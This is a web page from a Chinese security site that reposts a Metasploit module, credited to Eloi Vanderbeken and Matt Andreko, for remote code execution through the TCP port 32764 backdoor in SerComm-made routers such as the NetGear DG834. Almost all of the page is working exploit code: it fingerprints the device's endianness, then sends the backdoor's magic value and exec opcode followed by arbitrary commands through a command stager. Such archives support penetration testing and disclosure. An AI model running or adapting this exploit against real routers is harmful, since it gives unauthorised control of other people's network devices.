首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SerComm Device Remote Code Execution
来源:metasploit.com 作者:Andreko 发布时间:2014-01-13  
##
# This module requires Metasploit: http//metasploit.com/download
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStagerEcho
  
  def initialize(info={})
    super(update_info(info,
      'Name'           => "SerComm Device Remote Code Execution",
      'Description'    => %q{
        This module will cause remote code execution on several SerComm devices.
        These devices typically include routers from NetGear and Linksys.
        Tested against NetGear DG834.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
        ],
      'Payload'        =>
        {
          'Space'       => 10000, # Could be more, but this should be good enough
          'DisableNops' => true
        },
      'Platform'       => 'linux',
      'Privileged'     => false,
      'Targets'        =>
        [
          ['Linux MIPS Big Endian',
            {
              'Arch' => ARCH_MIPSBE
            }
          ],
          ['Linux MIPS Little Endian',
            {
              'Arch' => ARCH_MIPSLE
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'OSVDB', '101653' ],
          [ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
        ],
      'DisclosureDate' => "Dec 31 2013" ))
  
      register_options(
        [
          Opt::RPORT(32764)
        ], self.class)
  end
  
  def check
    fprint = endian_fingerprint
  
    case fprint
    when 'BE'
      print_status("Detected Big Endian")
      return Msf::Exploit::CheckCode::Vulnerable
    when 'LE'
      print_status("Detected Little Endian")
      return Msf::Exploit::CheckCode::Vulnerable
    end
  
    return Msf::Exploit::CheckCode::Unknown
  end
  
  def exploit
    execute_cmdstager(:noargs => true)
  end
  
  def endian_fingerprint
    begin
      connect
  
      sock.put(rand_text(5))
      res = sock.get_once
  
      disconnect
  
      if res && res.start_with?("MMcS")
        return 'BE'
      elsif res && res.start_with?("ScMM")
        return 'LE'
      end
    rescue Rex::ConnectionError => e
      print_error("Connection failed: #{e.class}: #{e}")
    end
  
    return nil
  end
  
  def execute_command(cmd, opts)
    vprint_debug(cmd)
  
    # Get the length of the command, for the backdoor's command injection
    cmd_length = cmd.length
  
    # 0x53634d4d  => Backdoor code
    # 0x07        => Exec command
    # cmd_length  => Length of command to execute, sent after communication struct
    data = [0x53634d4d, 0x07, cmd_length].pack("VVV")
  
    connect
    # Send command structure followed by command text
    sock.put(data+cmd)
    disconnect
  
    Rex.sleep(1)
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SerComm Device Remote Code Exe
·SoapUI 4.6.3 - Remote Code Exe
·Ofilter Player 1.1 - (.wav) In
·haneWIN DNS Server 1.5.3 - Den
·ACE Stream Media 2.1 - (acestr
·MuPDF 1.3 - Stack-based Buffer
·CCProxy 7.3 - Integer Overflow
·Ammyy Admin 3.2 Access Bypass
·vTiger CRM SOAP AddEmailAttach
·ASUS RT-N56U Remote Root
·Total Video Player Denial Of S
·HP Data Protector Backup Clien
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved